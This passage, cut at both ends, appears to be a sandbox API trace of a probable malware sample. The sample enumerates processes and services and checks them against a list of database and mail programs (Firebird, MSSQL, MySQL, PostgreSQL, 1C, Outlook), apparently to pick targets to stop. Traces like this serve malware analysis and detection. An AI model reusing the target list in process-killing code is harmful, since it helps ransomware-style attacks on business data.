dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.382] lstrlenW (lpString="svchost.exe") returned 11 [0264.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.383] lstrlenW (lpString="svchost.exe") returned 11 [0264.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.383] lstrlenW (lpString="svchost.exe") returned 11 [0264.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.383] lstrlenW (lpString="svchost.exe") returned 11 [0264.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.384] lstrlenW (lpString="audiodg.exe") returned 11 [0264.384] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.384] lstrlenW (lpString="svchost.exe") returned 11 [0264.384] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.384] lstrlenW (lpString="svchost.exe") returned 11 [0264.384] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0264.384] lstrlenW (lpString="userinit.exe") returned 12 [0264.384] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.385] lstrlenW (lpString="dwm.exe") returned 7 [0264.385] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.385] lstrlenW (lpString="explorer.exe") returned 12 [0264.385] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.385] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.385] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.386] lstrlenW (lpString="taskhost.exe") returned 12 [0264.386] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.386] lstrlenW (lpString="svchost.exe") returned 11 [0264.386] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0264.386] lstrlenW (lpString="chrome64b.exe") returned 13 [0264.386] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.387] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.387] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.387] lstrlenW (lpString="dllhost.exe") returned 11 [0264.387] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0264.387] CloseHandle (hObject=0x3b0) returned 1 [0264.387] Sleep (dwMilliseconds=0x1f4) [0265.007] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623608 [0265.053] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0265.055] GetLastError () returned 0xea [0265.055] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xef8) returned 0x454b168 [0265.055] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xef8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0265.057] CloseServiceHandle (hSCObject=0x4623608) returned 1 [0265.058] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.058] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.058] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.059] lstrlenW (lpString="AudioSrv") returned 8 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.059] lstrlenW (lpString="BFE") returned 3 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.059] lstrlenW (lpString="CryptSvc") returned 8 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.059] lstrlenW (lpString="CscService") returned 10 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.059] lstrlenW (lpString="DcomLaunch") returned 10 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.059] lstrlenW (lpString="Dhcp") returned 4 [0265.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.060] lstrlenW (lpString="Dnscache") returned 8 [0265.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.060] lstrlenW (lpString="DPS") returned 3 [0265.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.060] lstrlenW (lpString="eventlog") returned 8 [0265.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.060] lstrlenW (lpString="EventSystem") returned 11 [0265.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.060] lstrlenW (lpString="gpsvc") returned 5 [0265.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.060] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.060] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.060] lstrlenW (lpString="iphlpsvc") returned 8 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.061] lstrlenW (lpString="LanmanServer") returned 12 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.061] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.061] lstrlenW (lpString="lmhosts") returned 7 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.061] lstrlenW (lpString="MMCSS") returned 5 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.061] lstrlenW (lpString="MpsSvc") returned 6 [0265.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.062] lstrlenW (lpString="netprofm") returned 8 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.062] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.062] lstrlenW (lpString="NlaSvc") returned 6 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.062] lstrlenW (lpString="nsi") returned 3 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.062] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.062] lstrlenW (lpString="PcaSvc") returned 6 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.062] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.062] lstrlenW (lpString="PlugPlay") returned 8 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.062] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.062] lstrlenW (lpString="Power") returned 5 [0265.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.063] lstrlenW (lpString="ProfSvc") returned 7 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.063] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.063] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.063] lstrlenW (lpString="RpcSs") returned 5 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.063] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.063] lstrlenW (lpString="SamSs") returned 5 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.063] lstrlenW (lpString="Schedule") returned 8 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.063] lstrlenW (lpString="SENS") returned 4 [0265.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.064] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.064] lstrlenW (lpString="Spooler") returned 7 [0265.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.064] lstrlenW (lpString="SysMain") returned 7 [0265.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.064] lstrlenW (lpString="Themes") returned 6 [0265.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.064] lstrlenW (lpString="TrkWks") returned 6 [0265.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0265.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0265.064] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0265.064] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0265.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0265.065] lstrlenW (lpString="UxSms") returned 5 [0265.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.065] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.065] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.065] lstrlenW (lpString="Winmgmt") returned 7 [0265.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0265.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0265.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0265.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0265.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0265.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0265.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0265.066] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.066] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.066] lstrlenW (lpString="System") returned 6 [0265.066] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.066] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.067] lstrlenW (lpString="smss.exe") returned 8 [0265.067] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW 